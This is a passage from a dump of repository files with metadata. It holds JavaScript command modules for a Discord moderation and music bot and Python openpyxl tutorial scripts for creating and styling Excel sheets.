Leaves a Tic Tac Toe game.\n start: Starts the Tic Tac Toe game.\\`\\`\\``);\n }\n switch (args[0]) {\n case \"new\": {\n if (!bot.ttt.get(msg.channel.id)) {\n bot.ttt.set(msg.channel.id, new TicTacToeGame(msg, bot.ttt));\n bot.ttt.get(msg.channel.id).addPlayer(msg.author, msg.prefix);\n } else { return msg.channel.send(`:x: A game is already running here.`); }\n break;\n }\n case \"join\": {\n if (bot.ttt.get(msg.channel.id)) {\n if (bot.ttt.get(msg.channel.id).host.id === msg.author.id) return msg.channel.send(\":x: You cannot play with your self.\");\n bot.ttt.get(msg.channel.id).addPlayer(msg.author, msg.prefix);\n } else { return msg.channel.send(`:x: A game is already running here.`); }\n break;\n }\n case \"leave\": {\n if (bot.ttt.get(msg.channel.id)) {\n if (bot.ttt.get(msg.channel.id).host.id === msg.author.id) return msg.channel.send(\":x: You cannot leave the game.\");\n bot.ttt.get(msg.channel.id).removePlayer(msg.author);\n } else { return msg.channel.send(`:x: A game is already running here.`); }\n break;\n }\n case \"start\": {\n if (bot.ttt.get(msg.channel.id)) {\n if (bot.ttt.get(msg.channel.id).host.id === msg.author.id) {\n if (bot.ttt.get(msg.channel.id).players.size > 1) {\n bot.ttt.get(msg.channel.id).start();\n } else { return msg.channel.send(\":x: This game needs one more player.\"); }\n } else { return msg.channel.send(\":x: Only the host can start the game.\"); }\n } else { return msg.channel.send(`:x: A game is already running here.`); }\n break;\n }\n default: {\n return msg.channel.send(`\n :x: Invalid usage: \\`${msg.prefix}tictactoe [new | join | leave | start]\\`\n More Help:\n \\`new: Creates a new Tic Tac Toe game.\n join: Joins a Tic Tac Toe game.\n leave: Leaves a Tic Tac Toe game.\n start: Starts the Tic Tac Toe game.\\``);\n }\n }\n }\n\n};\n" }, { "alpha_fraction": 0.5109207630157471, "alphanum_fraction": 0.5130621194839478, "avg_line_length": 40.69643020629883, "blob_id": "456b662c490476daf67551369c62a83b24d4b8d0", "content_id": "fff0e0bd57bef788f9cb3f7dd69fab4c392b0bc0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2335, "license_type": "permissive", "max_line_length": 132, "num_lines": 56, "path": "/commands/moderation/mute.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "const Command = require(\"../../utils/Command.js\");\n\nmodule.exports = class Mute extends Command {\n\n constructor() {\n super();\n this.config = {\n name: \"mute\",\n usage: \"mute [id|mention]\",\n description: \"Mutes or Unmutes a user\",\n permission: \"Kick Members\",\n category: \"Moderation\",\n aliases: []\n };\n }\n\n async run(bot, msg, args) {\n if (!msg.channel.permissionsFor(bot.user).has([\"MANAGE_ROLES\", \"MANAGE_CHANNELS\", \"SEND_MESSAGES\", \"EMBED_LINKS\"])) return;\n const user = msg.guild.members.get(args[0]) || msg.mentions.members.first();\n if (!user) return msg.channel.send(`:x: Invalid usage \\`${msg.prefix}mute [id|username|mention]\\`.`);\n let muteRole = msg.guild.roles.find(\"name\", \"Emerald Mute\");\n if (!muteRole) {\n muteRole = await msg.guild.createRole({\n name: \"Emerald Mute\",\n permissions: [],\n color: bot.color\n });\n msg.guild.channels.forEach(async (channel) => {\n await channel.overwritePermissions(muteRole, {\n SEND_MESSAGES: false,\n ADD_REACTIONS: false,\n CONNECT: false\n });\n });\n }\n if (!user.roles.has(muteRole.id)) {\n if (!args.join(\" \").slice(args[0].length + 1)) return msg.channel.send(`:x: Please provide a reason for this mute`);\n await user.addRole(muteRole, `Muted by ${msg.author.tag} for ${args.join(\" \").slice(user.user.toString().length + 1)}`);\n msg.channel.send(bot.embed({\n title: \":white_check_mark: User Muted!\",\n description: `\\`${user.user.tag}\\` has been muted for ${args.join(\" \").slice(user.user.toString().length + 1)}`,\n footer: `Muted by ${msg.author.tag}`,\n timestamp: true\n }));\n } else {\n await user.removeRole(muteRole, `Unmuted by ${msg.author.tag}`);\n msg.channel.send(bot.embed({\n title: \":white_check_mark: User Unmuted!\",\n description: `\\`${user.user.tag}\\` has been unmuted.`,\n footer: `Unmuted by ${msg.author.tag}`,\n timestamp: true\n }));\n }\n }\n\n};\n" }, { "alpha_fraction": 0.5513673424720764, "alphanum_fraction": 0.567627489566803, "avg_line_length": 45.655174255371094, "blob_id": "bed36d72764ee31cb4227ec995cd7c5993b4397f", "content_id": "f7da16915c696877162bb06d08a23937d2d200eb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1353, "license_type": "permissive", "max_line_length": 230, "num_lines": 29, "path": "/commands/music/volume.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports = class Volume {\n\n constructor() {\n this.config = {\n name: \"volume\",\n usage: \"volume [integer]\",\n description: \"Sets the current volume of the song.\",\n permission: \"None\",\n category: \"Music\",\n aliases: [\"vol\", \"changevol\"]\n };\n }\n\n run(bot, msg, args) {\n const player = bot.player.players.get(msg.guild.id);\n if (!msg.member.voiceChannel) return msg.channel.send(\":x: You must be in a voice channel first.\");\n if (player) {\n if (msg.member.voiceChannel.id !== msg.guild.me.voiceChannelID) {\n return msg.channel.send(\":x: You must be in the same voice channel as the bot.\");\n } else {\n if (msg.author.id !== player.queue[0].requester.id && !msg.member.hasPermission(\"ADMINISTRATOR\")) return msg.channel.send(\":x: You must be the person who requested this song or have the administrator permission!\");\n if (!parseInt(args[0]) || parseInt(args[0]) < 10 || parseInt(args[0]) > 100) return msg.channel.send(\":x: You must provide a number between 10 and 100\");\n player.setVolume(parseInt(args[0]));\n return msg.channel.send(`:white_check_mark: The volume was set to ${parseInt(args[0] / 100 * 100)}%`);\n }\n }\n }\n\n};\n" }, { "alpha_fraction": 0.5572139024734497, "alphanum_fraction": 0.5762852430343628, "avg_line_length": 32.47222137451172, "blob_id": "1154febf3eacdb40b4d9f49e7277f98c0034d28a", "content_id": "2bc30914b5be31b1fa98de897441c4b78ee7bedc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1206, "license_type": "permissive", "max_line_length": 111, "num_lines": 36, "path": "/commands/fun/invert.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "const { get } = require(\"superagent\");\nconst { Canvas } = require(\"canvas-constructor\");\n\nmodule.exports = class Invert {\n\n constructor() {\n this.config = {\n name: \"invert\",\n usage: \"invert [mention | id]\",\n description: \"Inverts a user or yourself.\",\n permission: \"None\",\n category: \"Fun\",\n aliases: []\n };\n }\n\n async run(bot, msg, args) {\n if (!msg.channel.permissionsFor(bot.user).has([\"SEND_MESSAGES\", \"ATTACH_FILES\"])) return;\n msg.channel.startTyping();\n const member = msg.guild.member(msg.mentions.users.first()) || msg.guild.member(args[0]) || msg.member;\n const Inverted = await makeImage(member);\n return msg.channel.send(`**${member.user.tag}** is now inverted.`, { file: { attachment: Inverted } })\n .then(() => msg.channel.stopTyping());\n }\n\n};\n\nasync function makeImage(member) {\n const pfp = await get(member.user.displayAvatarURL);\n return new Canvas(256, 256)\n .addImage(pfp.body, 0, 0, 256, 256)\n .setGlobalCompositeOperation(\"difference\")\n .setColor(\"white\")\n .addRect(0, 0, 256, 256)\n .toBufferAsync();\n}\n\n" }, { "alpha_fraction": 0.5850661396980286, "alphanum_fraction": 0.5907372236251831, "avg_line_length": 39.69230651855469, "blob_id": "ebdf6aa0e4eb291001fffb7535bacef8972b993b", "content_id": "fc4e35fa94fc72a7a4c1960516a914981f492b4e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1058, "license_type": "permissive", "max_line_length": 152, "num_lines": 26, "path": "/commands/disabled/configuration/setmodlog.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports.run = async (bot, msg, args) => {\n if (!msg.channel.permissionsFor(bot.user).has([\"SEND_MESSAGES\", \"EMBED_LINKS\"])) return;\n\n if (msg.mentions.channels.first() || args[0] === \"reset\") {\n await bot.db.collection(\"configs\").updateOne({ _id: msg.guild.id }, { $set: { mod_log: msg.mentions.channels.first().id || null } });\n msg.channel.send(bot.embed({\n title: \":white_check_mark: Mod log channel updated!\",\n description: `The mod log channel ${msg.mentions.channels.first() ? `was changed to ${msg.mentions.channels.first()}.` : \"has been reset.\"}`\n }));\n } else {\n return msg.channel.send(bot.embed({\n title: \":x: Error!\",\n description: \"Please mention a channel or type reset.\",\n color: 0xff0000\n }));\n }\n};\n\nmodule.exports.config = {\n name: \"setmodlog\",\n usage: \"setmodlog [#channel | reset]\",\n description: \"Sets the Mod Logs channel.\",\n permission: \"Administrator\",\n category: \"Configuration\",\n aliases: [\"smodlog\"]\n};\n" }, { "alpha_fraction": 0.5657370686531067, "alphanum_fraction": 0.5746425986289978, "avg_line_length": 59.09859085083008, "blob_id": "4e904057cad7e1c4e07b78bb92afeeb5e0e2480d", "content_id": "1e734f75677a7ebe919599bcefae9c227f572fbc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4269, "license_type": "permissive", "max_line_length": 350, "num_lines": 71, "path": "/events/message.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports = async (bot, msg) => {\n if (msg.author.bot) return;\n bot.db.collection(\"configs\").find({ _id: msg.guild.id }).toArray(async (err, config) => {\n if (err) throw err;\n if (!config[0]) {\n config[0] = await bot.db.collection(\"configs\").insertOne({ _id: msg.guild.id, mod_log: null, mod_log_cases: 0, welcome_channel: null, leave_msg: \"Farewell **e{user}** we hope you enjoyed you're stay at **e{server_name}**!\", prefix: \"e.\", anti_links: false, anti_swear: false, swear_words: [\"SwearWord1\", \"SwearWord2\"], auto_role: null });\n check(msg, config[0]);\n msg.prefix = config[0].prefix;\n return processCommand(bot, msg);\n } else {\n check(msg, config[0]);\n msg.prefix = config[0].prefix;\n return processCommand(bot, msg);\n }\n });\n};\n\nfunction check(msg, config) {\n // Swearing check\n if (config.anti_swear && !msg.member.permissions.has(\"ADMINISTRATOR\") && msg.author.id !== msg.guild.owner.id) {\n config.swear_words.forEach(word => {\n if (msg.content.match(new RegExp(word, \"gi\"))) {\n msg.delete().catch(() => {});\n return msg.reply(\"Swearing is not allowed here :rage:!\").then(m => m.delete(3500));\n }\n });\n } else {}\n\n // Anti links check\n if (config.anti_links && !msg.member.permissions.has(\"ADMINISTRATOR\") && msg.author.id !== msg.guild.owner.id) {\n // Thanks Godson™#1337 for this RegEx.\n const urlMatch = /^(?:(http[s]?|ftp[s]):\\/\\/)?([^:\\s]+)(:[0-9]+)?((?:\\/\\w+)*\\/)([\\w\\-.]+[^#?\\s]+)([^#\\s]*)?(#[\\w-]+)?$/gi.exec(msg.content);\n if (urlMatch) {\n msg.delete().catch(() => {});\n return msg.reply(\"Posting links is not allowed here :rage:!\").then(m => m.delete(3500));\n }\n } else {}\n}\n\nfunction processCommand(bot, msg) {\n if (!msg.content.toLowerCase().startsWith(msg.prefix.toLowerCase())) return;\n const split = msg.content.split(/\\s+/g);\n const args = split.slice(1);\n const command = split[0].toLowerCase();\n const c = bot.commands.get(command.slice(msg.prefix.length)) || bot.aliases.get(command.slice(msg.prefix.length));\n if (c) {\n switch (c.config.permission) {\n case \"None\": { c.run(bot, msg, args); break; }\n case \"Bot Owner\": { checkPermission(c, \"BOT_OWNER\", () => { c.run(bot, msg, args); }, msg); break; }\n case \"Server Owner\": { checkPermission(c, \"OWNER\", () => { c.run(bot, msg, args); }, msg); break; }\n case \"Administrator\": { checkPermission(c, \"ADMINISTRATOR\", () => { c.run(bot, msg, args); }, msg); break; }\n case \"Kick Members\": { checkPermission(c, \"KICK_MEMBERS\", () => { c.run(bot, msg, args); }, msg); break; }\n case \"Ban Members\": { checkPermission(c, \"BAN_MEMBERS\", () => { c.run(bot, msg, args); }, msg); break; }\n case \"Manage Server\": { checkPermission(c, \"MANAGE_GUILD\", () => { c.run(bot, msg, args); }, msg); break; }\n case \"Manage Roles\": { checkPermission(c, \"MANAGE_ROLES\", () => { c.run(bot, msg, args); }, msg); break; }\n case \"Manage Messages\": { checkPermission(c, \"MANAGE_MESSAGES\", () => { c.run(bot, msg, args); }, msg); break; }\n case \"Audit Log\": { checkPermission(c, \"VIEW_AUDIT_LOG\", () => { c.run(bot, msg, args); }, msg); break; }\n default: return console.log(\"[ERROR] [COMMAND_HANDLER] Invalid permission provided!\");\n }\n }\n}\n\nfunction checkPermission(cmd, permission, success = () => {}, msg) {\n if (permission === \"OWNER\") {\n if (msg.author.id === msg.guild.owner.id) return success();\n else return msg.channel.send(`:x: You cannot run this command as you need to be the server owner!`).then(m => m.delete(3500));\n } else if (permission === \"BOT_OWNER\") {\n if (msg.author.id === \"302604426781261824\" || msg.author.id === \"\") return success();\n else return msg.channel.send(`:x: You cannot run this command as you need to be one of the bot owners!`).then(m => m.delete(3500));\n } else if (msg.member.permissions.has(permission)) { return success(); } else { return msg.channel.send(`:x: You cannot run this command as it requires the \\`${cmd.config.permission}\\` permission!`).then(m => m.delete(3500)); }\n}\n" }, { "alpha_fraction": 0.4821852743625641, "alphanum_fraction": 0.4821852743625641, "avg_line_length": 22.38888931274414, "blob_id": "7830d221fc2ed381c5edc9f6a5ed8421897320bd", "content_id": "ed4571531c7d172d66854581acfb596c3b1258ea", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 421, "license_type": "permissive", "max_line_length": 76, "num_lines": 18, "path": "/commands/general/invite.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports = class Invite {\n\n constructor() {\n this.config = {\n name: \"invite\",\n usage: \"None\",\n description: \"Gives you a invite link to add me to your server\",\n permission: \"None\",\n category: \"General\",\n aliases: [\"inv\"]\n };\n }\n\n run(bot, msg) {\n msg.channel.send(`Here is my invite link:\\n<${bot.invite}>`);\n }\n\n};\n" }, { "alpha_fraction": 0.483501672744751, "alphanum_fraction": 0.4875420928001404, "avg_line_length": 42.67647171020508, "blob_id": "4cce54251ed17522532b823efa4ce9311ef0841d", "content_id": "7bdea03e59e60acd62b6c14fea78ffae74ed6089", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1487, "license_type": "permissive", "max_line_length": 161, "num_lines": 34, "path": "/commands/music/queue.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "module.exports = class Queue {\n\n constructor() {\n this.config = {\n name: \"queue\",\n usage: \"None\",\n description: \"What is in the music queue?\",\n permission: \"None\",\n category: \"Music\",\n aliases: [\"mqueue\"]\n };\n }\n\n run(bot, msg) {\n const player = bot.player.players.get(msg.guild.id);\n if (player) {\n if (msg.channel.permissionsFor(bot.user).has([\"EMBED_LINKS\", \"SEND_MESSAGES\"])) {\n const queuePages = [];\n for (let i = 0; i < player.queue.length; i += 8) {\n const sliced = player.queue.slice(i + 1, i + 8);\n if (sliced.length === 0) return msg.channel.send(\":x: The queue is empty.\");\n queuePages.push({\n title: `Displaying songs from \\`${i + 1}\\` to \\`${i + sliced.length}\\``,\n description: sliced.map(s => `\\`•\\` **[${s.title}](${s.url})**`).join(\"\\n\")\n });\n }\n const Paginator = require(\"../../utils/paginator.js\");\n const PaginatorSession = new Paginator(msg, queuePages, \"RANDOM\");\n PaginatorSession.start();\n } else { return msg.channel.send(\":x: I need the `Embed Links` or the `Send Messages` permission. Please give me these permission and try again!\"); }\n } else { return msg.channel.send(\":x: Nothing is in queue!\"); }\n }\n\n};\n" }, { "alpha_fraction": 0.4816341698169708, "alphanum_fraction": 0.4831334352493286, "avg_line_length": 45.8070182800293, "blob_id": "5639b47dc5f8132856c1eb32212331f6d661f690", "content_id": "beb853eb059859d46721b734b9faa74c74a6e117", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2668, "license_type": "permissive", "max_line_length": 154, "num_lines": 57, "path": "/commands/moderation/ban.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "const Command = require(\"../../utils/Command.js\");\n\nmodule.exports = class Ban extends Command {\n\n constructor() {\n super();\n this.config = {\n name: \"ban\",\n usage: \"ban (mention | user_id)\",\n description: \"Bans a user from this server for the specified reason.\",\n permission: \"Ban Members\",\n category: \"Moderation\",\n aliases: []\n };\n }\n\n run(bot, msg, args) {\n if (!args[0]) return msg.channel.send(`:x: Invalid usage | \\`${msg.prefix}ban (mention | user_id)\\``);\n if (msg.channel.permissionsFor(bot.user).has(\"EMBED_LINKS\") && msg.channel.permissionsFor(bot.user).has(\"BAN_MEMBERS\")) {\n const user = msg.guild.member(msg.mentions.users.first()) || msg.guild.member(args[0]);\n if (!user) {\n return msg.channel.send(\":x: The provided user was not found on this server.\");\n } else {\n if (user.user.equals(bot.user)) {\n return msg.channel.send(bot.embed({\n title: \":white_check_mark: User not Banned!\",\n description: `You cannot ban the Emerald.`,\n footer: `Not banned by ${msg.author.tag}`,\n timestamp: true\n }));\n } else if (user.user.equals(msg.author)) {\n return msg.channel.send(bot.embed({\n title: \":white_check_mark: User not Banned!\",\n description: `You cannot ban your self.`,\n footer: `Not banned by ${msg.author.tag}`,\n timestamp: true\n }));\n }\n const reason = args.join(\" \").slice(args[0].length + 1);\n if (!reason) return msg.channel.send(\"Please provide a reason why you are banning this user.\");\n user.ban(`Banned by ${msg.author.tag} for ${reason}`).then(() => {\n msg.channel.send(bot.embed({\n title: \":white_check_mark: User Banned!\",\n description: `\\`${user.user.tag}\\` has been banned for \\`${reason}\\` successfully.`,\n footer: `Banned by ${msg.author.tag}`,\n timestamp: true\n }));\n }).catch(() => {\n msg.channel.send(\":x: This user cannot be banned.\");\n });\n }\n } else {\n return msg.channel.send(\":x: I am missing the `Ban Members` or the `Embed Links` permission. Please give me both permissions and try again!\");\n }\n }\n\n};\n" }, { "alpha_fraction": 0.5442377328872681, "alphanum_fraction": 0.5462794899940491, "avg_line_length": 31.41176414489746, "blob_id": "8f88825723bac8205acdbecefb0b554a407a94b1", "content_id": "9b58c0c4abf130fed6d2a7ed561419a1bdfa2b51", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4408, "license_type": "permissive", "max_line_length": 115, "num_lines": 136, "path": "/utils/music/AudioManager.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "const { nodes } = require(\"../../config.json\"); // eslint-disable-line\nconst { EventEmitter } = require(\"events\");\nconst { Client } = require(\"discord.js\"); // eslint-disable-line\nconst AudioPlayer = require(\"./AudioPlayer.js\"); // eslint-disable-line\nconst AudioNode = require(\"./AudioNode.js\"); // eslint-disable-line\nconst { get } = require(\"snekfetch\");\n\n/**\n * A custom LavaLink implementation for the bot.\n * @param {Client} - The Discord.js client used.\n * @extends {EventEmitter}\n */\nmodule.exports = class AudioManager extends EventEmitter {\n\n constructor(client) {\n /**\n * Create the EventEmitter.\n */\n super();\n\n /**\n * A Map of the players.\n * @type {Map<String, AudioPlayer>}\n */\n this.players = new Map();\n\n /**\n * The WebSocket used for the AudioNodes.\n * @type {Client}\n */\n this.client = client;\n\n /**\n * A Map of the current nodes.\n * @type {Map<String, AudioNode>}\n */\n this.nodes = new Map();\n this.launchNodes();\n\n this.client.on(\"raw\", event => {\n if (event.t === \"VOICE_SERVER_UPDATE\") {\n const player = this.players.get(event.d.guild_id);\n if (!player) return;\n player.provideVoiceUpdate(event);\n }\n });\n }\n\n /**\n * Creates all of the nodes and registers\n * all of the event listeners\n * for the nodes.\n */\n launchNodes() {\n for (let i = 0; i < nodes.length; i++) {\n // Create the node\n const node = new AudioNode(this);\n node.create(nodes[i]);\n this.nodes.set(nodes[i].host, node);\n }\n }\n\n /**\n * Makes the bot join a voice channel.\n * @param {string} data - An object containing values for the bot to join a voice channel.\n * @param {string} data.guildId - The guild that owns voice channel.\n * @param {string} data.channelId - The voice channel in the guild.\n * @param {boolean} data.self_deafened - Determines if the bot will be deafened when the bot joins the channel.\n * @param {boolean} data.self_muted - Determines if the bot will be muted when the bot joins the channel.\n * @param {boolean} data.host - The host of the AudioNode.\n */\n connectToVoice(data) {\n this.client.ws.send({\n op: 4,\n shard: this.client.shard ? this.client.shard.id : 0,\n d: {\n guild_id: data.guildId,\n channel_id: data.channelId,\n self_deaf: data.self_deafened,\n self_mute: data.self_muted\n }\n });\n const node = this.nodes.get(data.host);\n if (!node) throw new Error(`No node with host: ${data.host} found.`);\n this._newPlayer(data, node);\n }\n\n /**\n * Makes the bot leave a voice channel.\n * @param {string} id - The guild id to leave the channel.\n */\n leaveVoice(id) {\n this.client.ws.send({\n op: 4,\n shard: this.client.shard ? this.client.shard.id : 0,\n d: {\n guild_id: id,\n channel_id: null,\n self_deaf: false,\n self_mute: false\n }\n });\n const player = this.players.get(id);\n if (!player) return;\n player.delete();\n }\n\n /**\n * Creates a new player or returns an old player.\n * @param {Object} data - The object containing player data.\n * @param {AudioNode} node - The AudioNode to use.\n * @returns {AudioPlayer}\n * @private\n */\n _newPlayer(data, node) {\n const player = this.players.get(data.guildId);\n if (player) return player;\n this.players.set(data.guildId, new AudioPlayer(data, node, this));\n }\n\n /**\n * Grabs videos/tracks from the lavalink REST api.\n * @param {string} search - The song to search for.\n * @param {Object} node - The node to execute the search on.\n * @returns {Promise<Array>}\n */\n getVideos(search, node) {\n return new Promise(async (resolve, reject) => {\n const res = await get(`http://${node.host}:2333/loadtracks?identifier=${search}`)\n .set(\"Authorization\", node.password);\n if (!res.body.length) return reject(\"NO_RESULTS\");\n return resolve(res.body);\n });\n }\n\n};\n" }, { "alpha_fraction": 0.5237449407577515, "alphanum_fraction": 0.5366349816322327, "avg_line_length": 39.91666793823242, "blob_id": "b1b5460c6dc38ab2fc43a6a95fd14020ad47a072", "content_id": "e073a851d1ed817baddf0d82afc2a0f5981d022b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1474, "license_type": "permissive", "max_line_length": 163, "num_lines": 36, "path": "/commands/moderation/purge.js", "repo_name": "JoshuaHumpz/Cesium-Advanced", "src_encoding": "UTF-8", "text": "const Command = require(\"../../utils/Command.js\");\n\nmodule.exports = class Purge extends Command {\n\n constructor() {\n super();\n this.config = {\n name: \"purge\",\n usage: \"purge (amount)\",\n description: \"Clear x amount of messages in chat.\",\n permission: \"Manage Messages\",\n category: \"Moderation\",\n aliases: [\"clear\"]\n };\n }\n\n async run(bot, msg, args) {\n if (msg.channel.permissionsFor(bot.user).has(\"EMBED_LINKS\") && msg.channel.permissionsFor(bot.user).has(\"MANAGE_MESSAGES\")) {\n const toDelete = args[0];\n if (isNaN(toDelete)) {\n return msg.channel.send(bot.embed({\n title: \":x: Error\",\n description: \"Please enter a valid number.\",\n color: 0xff0000\n }));\n } else {\n if (!toDelete || toDelete < 2 || toDelete > 100) return msg.channel.send(bot.embed({ description: \"Please provide a number between 2 and 100.\" }));\n const success = await msg.channel.bulkDelete(parseInt(args[0]));\n if (success) return msg.channel.send(bot.embed({ title: `Purged ${toDelete} messages!` })).then(m => m.delete(1500));\n }\n } else {\n msg.channel.send(\":x: I am missing the `Manage Messages` or the `Embed Links` permission. Please give me both permissions and try again!\");\n }\n }\n\n};\n\n" } ]
38
sc2bat/rpa-excel
https://github.com/sc2bat/rpa-excel
e3192a888afc3728a0127c3f87f014b3167aa84d
ef5d8c1c93dcf8d806b45e9b1f4a474bd1d392e0
093f0e76fbec79741b21c4ae6a2c426c8d1be5c5
refs/heads/main
2023-07-03T10:20:43.885572
2021-08-15T11:42:37
2021-08-15T11:42:37
394,073,311
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.674876868724823, "alphanum_fraction": 0.674876868724823, "avg_line_length": 23.625, "blob_id": "eb4bf80f3f1ffdae7e26e084a4d3da191e7e4627", "content_id": "565edc31f2e51036bbe3385f5673e342e707ea36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 251, "license_type": "no_license", "max_line_length": 38, "num_lines": 8, "path": "/1_createfile.py", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "# pip install openpyxl\r\n\r\nfrom openpyxl import Workbook\r\nwb = Workbook() # 새 워크북 생성\r\nws = wb.active # 현재 활성화된 sheet 가져옴\r\nws.title = \"dodoSheet\" # sheet 의 이름 변경\r\nwb.save(\"sample.xlsx\")\r\nwb.close() # 파일 닫기" }, { "alpha_fraction": 0.5615615844726562, "alphanum_fraction": 0.6096096038818359, "avg_line_length": 18.9375, "blob_id": "428cce66fdf15a9be17f9e36cb55c6acb48ae221", "content_id": "dc069260c120e01cc901b3a156d1079ff2035f24", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 407, "license_type": "no_license", "max_line_length": 44, "num_lines": 16, "path": "/9_move.py", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "# 특정 셀 이동\r\n\r\nfrom openpyxl import load_workbook\r\nwb = load_workbook(\"sample5_2.xlsx\")\r\nws = wb.active\r\n\r\n# 번호 영어 수학\r\n# 번호 '국어' 영어 수학\r\n# ws.move_range(\"B1:C11\", rows=0, cols=1)\r\n# ws[\"B1\"].value = \"Kook\" # 비워져있는 셀 항목에 값 부여\r\n\r\n# wb.save(\"sample9.xlsx\")\r\n\r\n# 번호 영어 수학\r\nws.move_range(\"C1:C11\", rows=5, cols=-1)\r\nwb.save(\"sample9_2.xlsx\")" }, { "alpha_fraction": 0.49390244483947754, "alphanum_fraction": 0.5609756112098694, "avg_line_length": 21.5, "blob_id": "94c8535bbec47bd81c2fc15b0b69554d42915de1", "content_id": "27bf6bd7ec048dfd7cd3bbde63e0ed964c897cfb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 728, "license_type": "no_license", "max_line_length": 66, "num_lines": 28, "path": "/3_1_cell.py", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "from openpyxl import Workbook\r\nwb = Workbook()\r\nws = wb.active\r\nws.title = \"dodoSheet\"\r\n\r\n# A1 셀에 1 값 입력\r\nws[\"A1\"] = 1\r\nws[\"A2\"] = 2\r\nws[\"A3\"] = 3\r\n\r\nws[\"B1\"] = 4\r\nws[\"B2\"] = 5\r\nws[\"B3\"] = 6\r\n\r\nprint(ws[\"A1\"]) # A1 셀의 정보 출력\r\nprint(ws[\"A1\"].value) # A1 셀의 값을 출력\r\nprint(ws[\"A10\"].value) # 값이 없으면 None 출력\r\n\r\n# row = 1, 2, 3, ...\r\n# column = A(1), B(2), C(3) , ...\r\nprint(ws.cell(row=1, column=1).value) # ws[\"A1\"].value\r\nprint(ws.cell(row=1, column=2).value) # ws[\"B1\"].value\r\nprint(ws.cell(column=2, row=2).value) # 둘의 서순 관계없음\r\n\r\nc = ws.cell(column=3, row=1, value=10) # ws[\"C1\"].value = 10 값을 기입\r\nprint(c.value) # ws[\"C1\"].value\r\n\r\nwb.save(\"sample3_1.xlsx\")" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 11, "blob_id": "f3ef718dc29fad6d5f03530a15c4dde7a2225957", "content_id": "0c0ace2ec99e980bc5d0ef8624c8fc5bde15026c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 12, "license_type": "no_license", "max_line_length": 11, "num_lines": 1, "path": "/README.md", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "# rpa-excel\n" }, { "alpha_fraction": 0.5746638178825378, "alphanum_fraction": 0.6192498207092285, "avg_line_length": 26.219999313354492, "blob_id": "1af41c007bbb45f2e60a3380281ff48b5831ab85", "content_id": "6ec9616dd3c8444fb69adf66f810cfcdcdb5d6cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1569, "license_type": "no_license", "max_line_length": 123, "num_lines": 50, "path": "/11_cell_style.py", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "# 스타일\r\nfrom openpyxl.styles import Font, Border, Side, PatternFill, Alignment\r\nfrom openpyxl import load_workbook\r\nwb = load_workbook(\"sample5_2.xlsx\")\r\nws = wb.active\r\n\r\na1 = ws[\"A1\"]\r\nb1 = ws[\"B1\"]\r\nc1 = ws[\"C1\"]\r\n\r\n# 높이 너비 조정\r\nws.column_dimensions[\"A\"].width = 5\r\nws.row_dimensions[1].height = 50\r\n# wb.save(\"sample11.xlsx\")\r\n\r\n# style 적용\r\n# 글색상, 이탤릭, 두겁게\r\na1.font = Font(color=\"FF0000\", italic=True, bold=True) \r\n# wb.save(\"sample11_1.xlsx\")\r\n# 글색상 폰트 취소선\r\nb1.font = Font(color=\"FF0000\", name=\"Arial\", strike=True)\r\n# wb.save(\"sample11_2.xlsx\")\r\n# 글색상 글자 크기 밑줄\r\nc1.font = Font(color=\"0000FF\", size=20, underline=\"single\")\r\n# wb.save(\"sample11_3.xlsx\")\r\n\r\n# 테두리 적용\r\nthin_border = Border(left=Side(style=\"thin\"), right=Side(style=\"thin\"), top =Side(style=\"thin\"), bottom=Side(style=\"thin\"))\r\na1.border = thin_border\r\nb1.border = thin_border\r\nc1.border = thin_border\r\n# wb.save(\"sample11_4.xlsx\")\r\n\r\n# 특정 셀의 색 변경 \r\nfor row in ws.rows:\r\n for cell in row:\r\n # 각 cell 정렬\r\n cell.alignment = Alignment(horizontal=\"center\", vertical=\"center\")\r\n\r\n if cell.column == 1: # A 열 제외\r\n continue\r\n\r\n # 셀 정수형 데이터 그리고 80 초과면\r\n if 